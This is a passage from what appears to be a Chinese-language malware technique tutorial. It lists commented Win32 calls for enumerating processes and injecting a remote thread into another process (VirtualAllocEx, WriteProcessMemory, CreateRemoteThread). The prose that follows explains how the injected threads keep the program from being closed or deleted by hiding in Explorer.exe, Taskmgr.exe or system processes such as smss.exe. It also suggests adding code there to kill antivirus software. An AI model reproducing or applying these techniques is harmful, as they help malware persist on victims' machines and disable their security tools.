重新启动我们的可执行文件;
4.获得进程ID:processtopid
EnumProcesses(lpidprocesses,sizeof(lpidprocesses),&cbneeded);
//列举所有的进程
OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,FALSE,lpidprocesses[i]);
//以查询信息和读取的方式打开进程
EnumProcessModules(hprocess,&hmodule,sizeof(hmodule),&cbneeded);
//获得进程模块的句柄
GetModuleBaseName(hprocess,hmodule,normalname,sizeof(normalname));
//获得特定模块的名字,以备比较
5.创建远程线程:createremote
OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,remotepid);
//PROCESS_CREATE_THREAD for CreateRemoteThread
//PROCESS_VM_OPERATION for VirtualAllocEx
//PROCESS_VM_WRITE for WriteProcessMemory
VirtualAllocEx(rphandle,NULL,cb,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//在远程进程中分配空间,以备将线程代码置入其中;
WriteProcessMemory(rphandle,remotethr,(LPVOID)remote,cb,NULL);
//将远程线程remote的代码写入到远程进程的地址空间中
WriteProcessMemory(rphandle,remotepar,(LPVOID)&rp,cb,NULL);
//将远程线程所需的参数也写入到远程进程的地址空间中
CreateRemoteThread(rphandle,NULL,0,(LPTHREAD_START_ROUTINE)remotethr,(LPVOID)remotepar,0,NULL);
//创建远程监视线程
我们已经看到,创建三线程就是为了更好的保护程序自身不被关闭和删除。两个辅助线程相互实时监视,如果监视对象被关闭了,就重新创建线程或进程。其实,在程序中我们选择的远程进程驻体为Explorer.exe和Taskmgr.exe,除了对主线程实时监视之外,如果才两个线程当中添加相应关闭杀软代码,那么程序会视为Explorer.exe或Tskmgr.exe将杀软关闭或删除,在通常情况下,如果用户知道了远程线程的驻体为资源管理器后,就会打开任务管理器来结束Explorer,这时我们再把远程线程驻入到任务管理器中。也就是说,只要Explorer或Taskmgr有一个存在,就不可能结束主进程。如果有其他Kill进程的工具,你就可以将其关闭掉,只要资源管理器和任务管理器均不存在时,就没有驻体来维持远程进程。不过,如果我们选择的远程进程为随机的,这就不容易发现了;如果我们选择的远程进程为系统文件(如smss.exe会话管理器),那么你是不会安全的结束远程